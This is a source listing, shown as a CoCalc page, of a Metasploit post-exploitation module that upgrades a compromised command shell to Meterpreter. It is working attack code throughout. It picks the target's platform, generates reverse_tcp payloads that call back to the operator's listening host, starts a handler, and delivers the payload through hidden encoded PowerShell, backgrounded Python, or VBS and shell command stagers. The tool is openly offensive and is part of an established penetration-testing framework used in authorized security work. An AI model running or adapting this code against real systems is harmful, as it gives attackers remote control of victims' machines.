Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/manage/shell_to_meterpreter.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
require 'rex/exploitation/cmdstager'
6
7
class MetasploitModule < Msf::Post
8
include Exploit::Powershell
9
include Post::Architecture
10
include Post::Windows::Powershell
11
12
VALID_PSH_ARCH_OVERRIDE = ['x64', 'x86']
13
VALID_PLATFORM_OVERRIDE = Msf::Platform.find_children.map { |plat| plat.realname.downcase }
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Shell to Meterpreter Upgrade',
20
'Description' => %q{
21
This module attempts to upgrade a command shell to meterpreter. The shell
22
platform is automatically detected and the best version of meterpreter for
23
the target is selected. Currently meterpreter/reverse_tcp is used on Windows
24
and Linux, with 'python/meterpreter/reverse_tcp' used on all others.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => ['Tom Sellers <tom [at] fadedcode.net>'],
28
'Platform' => [ 'linux', 'osx', 'unix', 'solaris', 'bsd', 'windows' ],
29
'SessionTypes' => [ 'shell', 'meterpreter' ],
30
'Notes' => {
31
'Stability' => [CRASH_SAFE],
32
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
33
'Reliability' => []
34
}
35
)
36
)
37
register_options(
38
[
39
OptAddressLocal.new('LHOST',
40
[false, 'IP of host that will receive the connection from the payload (Will try to auto detect).', nil]),
41
OptInt.new('LPORT',
42
[true, 'Port for payload to connect to.', 4433]),
43
OptBool.new('HANDLER',
44
[ true, 'Start an exploit/multi/handler to receive the connection', true])
45
]
46
)
47
register_advanced_options([
48
OptInt.new('HANDLE_TIMEOUT',
49
[true, 'How long to wait (in seconds) for the session to come back.', 30]),
50
OptEnum.new('WIN_TRANSFER',
51
[true, 'Which method to try first to transfer files on a Windows target.', 'POWERSHELL', ['POWERSHELL', 'VBS']]),
52
OptEnum.new('PLATFORM_OVERRIDE',
53
[false, 'Define the platform to use.', nil, VALID_PLATFORM_OVERRIDE]),
54
OptEnum.new('PSH_ARCH_OVERRIDE',
55
[false, 'Define the powershell architecture to use', nil, VALID_PSH_ARCH_OVERRIDE]),
56
OptString.new('PAYLOAD_OVERRIDE',
57
[false, 'Define the payload to use (meterpreter/reverse_tcp by default) .', nil]),
58
OptString.new('BOURNE_PATH',
59
[false, 'Remote path to drop binary']),
60
OptString.new('BOURNE_FILE',
61
[false, 'Remote filename to use for dropped binary']),
62
OptInt.new('COMMAND_TIMEOUT',
63
[true, 'How long to wait (in seconds) for a result when executing a command on the remote machine.', 15]),
64
])
65
deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
66
end
67
68
def command_timeout
69
datastore['COMMAND_TIMEOUT']
70
end
71
72
# Run method for when run command is issued
73
def run
74
print_status("Upgrading session ID: #{datastore['SESSION']}")
75
76
# Try hard to find a valid LHOST value in order to
77
# make running 'sessions -u' as robust as possible.
78
if datastore['LHOST']
79
lhost = datastore['LHOST']
80
elsif framework.datastore['LHOST']
81
lhost = framework.datastore['LHOST']
82
else
83
lhost = session.tunnel_local.split(':')[0]
84
if lhost == 'Local Pipe'
85
print_error 'LHOST is "Local Pipe", please manually set the correct IP.'
86
return
87
end
88
end
89
90
# If nothing else works...
91
lhost = Rex::Socket.source_address if lhost.blank?
92
93
lport = datastore['LPORT']
94
95
# Handle platform specific variables and settings
96
if datastore['PAYLOAD_OVERRIDE']
97
unless datastore['PLATFORM_OVERRIDE']
98
print_error('Please pair PAYLOAD_OVERRIDE with a PLATFORM_OVERRIDE.')
99
return nil
100
end
101
unless datastore['PLATFORM_OVERRIDE'].in? VALID_PLATFORM_OVERRIDE
102
print_error('Please provide a valid PLATFORM_OVERRIDE')
103
return nil
104
end
105
payload_name = datastore['PAYLOAD_OVERRIDE']
106
payload = framework.payloads.create(payload_name)
107
platform = datastore['PLATFORM_OVERRIDE']
108
unless payload
109
print_error('Please provide a valid payload for PAYLOAD_OVERRIDE.')
110
return nil
111
end
112
if platform.downcase == 'windows' || platform.downcase == 'win'
113
unless datastore['PSH_ARCH_OVERRIDE']
114
print_error('Please provide a PSH_ARCH_OVERRIDE')
115
return nil
116
end
117
unless datastore['PSH_ARCH_OVERRIDE'].in? VALID_PSH_ARCH_OVERRIDE
118
print_error('Please provide a valid PSH_ARCH_OVERRIDE')
119
return nil
120
end
121
psh_arch = datastore['PSH_ARCH_OVERRIDE']
122
end
123
lplat = payload.platform.platforms
124
larch = payload.arch
125
else
126
case session.platform
127
when 'windows', 'win'
128
platform = 'windows'
129
lplat = [Msf::Platform::Windows]
130
arch = get_os_architecture
131
case arch
132
when ARCH_X64
133
payload_name = 'windows/x64/meterpreter/reverse_tcp'
134
psh_arch = 'x64'
135
when ARCH_X86
136
payload_name = 'windows/meterpreter/reverse_tcp'
137
psh_arch = 'x86'
138
else
139
print_error('Target is running Windows on an unsupported architecture such as Windows ARM!')
140
return nil
141
end
142
larch = [arch]
143
vprint_status('Platform: Windows')
144
when 'osx'
145
platform = 'osx'
146
payload_name = 'osx/x64/meterpreter/reverse_tcp'
147
lplat = [Msf::Platform::OSX]
148
larch = [ARCH_X64]
149
vprint_status('Platform: OS X')
150
when 'solaris'
151
platform = 'python'
152
payload_name = 'python/meterpreter/reverse_tcp'
153
vprint_status('Platform: Solaris')
154
else
155
# Find the best fit, be specific with uname to avoid matching hostname or something else
156
target_info = cmd_exec('uname -ms')
157
if target_info =~ /linux/i && target_info =~ /86/
158
# Handle linux shells that were identified as 'unix'
159
platform = 'linux'
160
payload_name = 'linux/x86/meterpreter/reverse_tcp'
161
lplat = [Msf::Platform::Linux]
162
larch = [ARCH_X86]
163
vprint_status('Platform: Linux')
164
elsif target_info =~ /darwin/i
165
platform = 'osx'
166
payload_name = 'osx/x64/meterpreter/reverse_tcp'
167
lplat = [Msf::Platform::OSX]
168
larch = [ARCH_X64]
169
vprint_status('Platform: OS X')
170
elsif remote_python_binary
171
# Generic fallback for OSX, Solaris, Linux/ARM
172
platform = 'python'
173
payload_name = 'python/meterpreter/reverse_tcp'
174
vprint_status('Platform: Python [fallback]')
175
end
176
end
177
end
178
179
if platform.blank?
180
print_error("Shells on the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.")
181
return nil
182
end
183
184
vprint_status("Upgrade payload: #{payload_name}")
185
186
payload_data = generate_payload(lhost, lport, payload_name)
187
if payload_data.blank?
188
print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.")
189
return nil
190
end
191
192
if datastore['HANDLER']
193
listener_job_id = create_multihandler(lhost, lport, payload_name)
194
if listener_job_id.blank?
195
print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
196
return nil
197
end
198
end
199
200
case platform.downcase
201
when 'windows'
202
if session.type == 'powershell'
203
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
204
psh_payload = case datastore['Powershell::method']
205
when 'net'
206
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload_data)
207
when 'reflection'
208
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload_data)
209
when 'old'
210
Rex::Powershell::Payload.to_win32pe_psh(template_path, payload_data)
211
when 'msil'
212
raise 'MSIL Powershell method no longer exists'
213
else
214
raise 'No Powershell method specified'
215
end
216
217
# prepend_sleep => 1
218
psh_payload = 'Start-Sleep -s 1;' << psh_payload
219
220
encoded_psh_payload = encode_script(psh_payload)
221
cmd_exec(run_hidden_psh(encoded_psh_payload, psh_arch, true))
222
elsif have_powershell? && (datastore['WIN_TRANSFER'] != 'VBS')
223
vprint_status('Transfer method: Powershell')
224
psh_opts = { persist: false, prepend_sleep: 1 }
225
if session.type == 'shell'
226
cmd_exec("echo. | #{cmd_psh_payload(payload_data, psh_arch, psh_opts)}")
227
else
228
psh_opts[:remove_comspec] = true
229
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts), nil, command_timeout, { 'Channelized' => false })
230
end
231
else
232
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
233
vprint_status('Transfer method: VBS [fallback]')
234
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
235
aborted = transmit_payload(exe, platform)
236
end
237
when 'python'
238
vprint_status('Transfer method: Python')
239
cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary}", nil, command_timeout, { 'Channelized' => false })
240
when 'osx'
241
vprint_status('Transfer method: Python [OSX]')
242
payload_data = Msf::Util::EXE.to_python_reflection(framework, ARCH_X64, payload_data, {})
243
cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary} & disown", nil, command_timeout, { 'Channelized' => false })
244
else
245
vprint_status('Transfer method: Bourne shell [fallback]')
246
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
247
aborted = transmit_payload(exe, platform)
248
end
249
250
if datastore['HANDLER']
251
vprint_status('Cleaning up handler')
252
cleanup_handler(listener_job_id, aborted)
253
end
254
255
nil
256
end
257
258
#
259
# Get the Python binary from the remote machine, if any, by running
260
# a series of channelized `cmd_exec` calls.
261
# @return String/nil A string if a Python binary can be found, else nil.
262
#
263
def remote_python_binary
264
return @remote_python_binary if defined?(@remote_python_binary)
265
266
python_exists_regex = /Python (2|3)\.(\d)/
267
268
if cmd_exec('python3 -V 2>&1') =~ python_exists_regex
269
@remote_python_binary = 'python3'
270
elsif cmd_exec('python -V 2>&1') =~ python_exists_regex
271
@remote_python_binary = 'python'
272
elsif cmd_exec('python2 -V 2>&1') =~ python_exists_regex
273
@remote_python_binary = 'python2'
274
else
275
@remote_python_binary = nil
276
end
277
278
@remote_python_binary
279
end
280
281
def transmit_payload(exe, platform)
282
#
283
# Generate the stager command array
284
#
285
linemax = 1700
286
if session.exploit_datastore['LineMax']
287
linemax = session.exploit_datastore['LineMax'].to_i
288
end
289
opts = {
290
linemax: linemax
291
# :nodelete => true # keep temp files (for debugging)
292
}
293
case platform
294
when 'windows'
295
opts[:decoder] = File.join(Rex::Exploitation::DATA_DIR, 'exploits', 'cmdstager', 'vbs_b64')
296
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
297
when 'osx'
298
opts[:background] = true
299
cmdstager = Rex::Exploitation::CmdStagerPrintf.new(exe)
300
else
301
opts[:background] = true
302
opts[:temp] = datastore['BOURNE_PATH']
303
opts[:file] = datastore['BOURNE_FILE']
304
cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe)
305
end
306
307
cmds = cmdstager.generate(opts)
308
if cmds.nil? || cmds.empty?
309
print_error('The command stager could not be generated.')
310
raise ArgumentError
311
end
312
313
#
314
# Calculate the total size
315
#
316
total_bytes = 0
317
cmds.each { |cmd| total_bytes += cmd.length }
318
319
vprint_status('Starting transfer...')
320
begin
321
#
322
# Run the commands one at a time
323
#
324
sent = 0
325
aborted = false
326
cmds.each.with_index do |cmd, i|
327
# The last command should be fire-and-forget, otherwise issues occur where the original session waits
328
# for an unlimited amount of time for the newly spawned session to exit.
329
wait_for_cmd_result = i + 1 < cmds.length
330
# Note that non-channelized cmd_exec calls currently return an empty string
331
ret = cmd_exec(cmd, nil, command_timeout, { 'Channelized' => wait_for_cmd_result })
332
if wait_for_cmd_result
333
if !ret
334
aborted = true
335
else
336
ret.strip!
337
aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
338
end
339
if aborted
340
print_error('Error: Unable to execute the following command: ' + cmd.inspect)
341
print_error('Output: ' + ret.inspect) if ret && !ret.empty?
342
break
343
end
344
end
345
346
sent += cmd.length
347
progress(total_bytes, sent)
348
end
349
rescue ::Interrupt
350
# TODO: cleanup partial uploads!
351
aborted = true
352
rescue StandardError => e
353
print_error("Error: #{e}")
354
aborted = true
355
end
356
357
return aborted
358
end
359
360
def cleanup_handler(listener_job_id, aborted)
361
# Return if the job has already finished
362
return nil if framework.jobs[listener_job_id].nil?
363
364
framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) do
365
if !aborted
366
timer = 0
367
timeout = datastore['HANDLE_TIMEOUT']
368
vprint_status("Waiting up to #{timeout} seconds for the session to come back")
369
while !framework.jobs[listener_job_id].nil? && timer < timeout
370
sleep(1)
371
timer += 1
372
end
373
end
374
print_status('Stopping exploit/multi/handler')
375
framework.jobs.stop_job(listener_job_id)
376
end
377
end
378
379
#
380
# Show the progress of the upload
381
#
382
def progress(total, sent)
383
done = (sent.to_f / total.to_f) * 100
384
print_status(format('Command stager progress: %<done>3.2f%% (%<sent>d/%<total>d bytes)', done: done.to_f, sent: sent, total: total))
385
end
386
387
# Method for checking if a listener for a given IP and port is present
388
# will return true if a conflict exists and false if none is found
389
def check_for_listener(lhost, lport)
390
client.framework.jobs.each_value do |j|
391
next unless j.name =~ %r{ multi/handler}
392
393
current_id = j.jid
394
current_lhost = j.ctx[0].datastore['LHOST']
395
current_lport = j.ctx[0].datastore['LPORT']
396
if lhost == current_lhost && lport == current_lport.to_i
397
print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
398
return true
399
end
400
end
401
return false
402
end
403
404
# Starts a exploit/multi/handler session
405
def create_multihandler(lhost, lport, payload_name)
406
pay = client.framework.payloads.create(payload_name)
407
pay.datastore['RHOST'] = rhost
408
pay.datastore['LHOST'] = lhost
409
pay.datastore['LPORT'] = lport
410
411
print_status('Starting exploit/multi/handler')
412
413
if check_for_listener(lhost, lport)
414
print_error('A job is listening on the same local port')
415
return
416
end
417
418
# Set options for module
419
mh = client.framework.exploits.create('multi/handler')
420
mh.share_datastore(pay.datastore)
421
mh.datastore['WORKSPACE'] = client.workspace
422
mh.datastore['PAYLOAD'] = payload_name
423
mh.datastore['EXITFUNC'] = 'thread'
424
mh.datastore['ExitOnSession'] = true
425
# Validate module options
426
mh.options.validate(mh.datastore)
427
# Execute showing output
428
mh.exploit_simple(
429
'Payload' => mh.datastore['PAYLOAD'],
430
'LocalInput' => user_input,
431
'LocalOutput' => user_output,
432
'RunAsJob' => true
433
)
434
435
# Check to make sure that the handler is actually valid
436
# If another process has the port open, then the handler will fail
437
# but it takes a few seconds to do so. The module needs to give
438
# the handler time to fail or the resulting connections from the
439
# target could end up on on a different handler with the wrong payload
440
# or dropped entirely.
441
select(nil, nil, nil, 5)
442
return nil if framework.jobs[mh.job_id.to_s].nil?
443
444
mh.job_id.to_s
445
end
446
447
def generate_payload(lhost, lport, payload_name)
448
payload = framework.payloads.create(payload_name)
449
450
unless payload.respond_to?('generate_simple')
451
print_error("Could not generate payload #{payload_name}. Invalid payload?")
452
return
453
end
454
455
options = "LHOST=#{lhost} LPORT=#{lport} RHOST=#{rhost}"
456
payload.generate_simple('OptionStr' => options)
457
end
458
end
459
460